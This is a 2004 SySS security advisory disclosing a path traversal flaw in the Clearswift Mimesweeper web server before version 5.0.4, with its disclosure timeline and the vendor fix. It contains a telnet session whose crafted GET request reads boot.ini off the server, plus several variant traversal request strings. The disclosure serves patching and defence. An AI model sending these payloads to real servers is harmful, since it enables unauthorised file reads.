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SySS-Advisory: Clearswift Mimesweeper Path Traversal Vulnerability
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Problem discovered:   July   27th 2004
Vendor contacted:   August   5th  2004
Advisory published:   August   11th 2004

AUTHOR: Pierre Kroma (kroma@syss.de)
        SySS GmbH
        72070 Tuebingen / Germany
        Tel.: +49-7071-407856-0
Key fingerprint = 927A B13E 16F5 BBAB 8F17 75EB D8E1 A9A4 F257 4EEC

APPLICATION:    Clearswift Mimesweeper 
AFFECTED VERSION:   all < 5.0.4 (5.0.1 tested)

Remotely Exploitable:   Yes
Locally Exploitable:   Yes

SEVERITY: Critical

DESCRIPTION:
   It is possible to read arbitrary files on
   the remote server by prepending /foobar/\../\../
   in front on the file name.

EXAMPLE:
telnet xx.xx.xx.xx 80
Trying xx.xx.xx.xx...
Connected to xx.xx.xx.xx.
Escape character is '^]'.
GET /foobar/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0

HTTP/1.0 200 Ok
Date: Do, 27 Jul 2004 14:30:07 GMT
Server: Clearswift Web Server
Content-length: 186
Content-type: application/octet-stream

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server"
/fastdetect
Connection closed by foreign host.

Here are some serveral examples:

GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0

IMPACT: This vulnerability can be used to retrieve any file from the partion where the clearswift webserver is installed. The number of "/","\",".." characters will depend on the ServerRoot (location of the virtual / directory) setting.

VENDOR STATUS: Clearswift has fixed the vulnerability in version >= 5.0.4.
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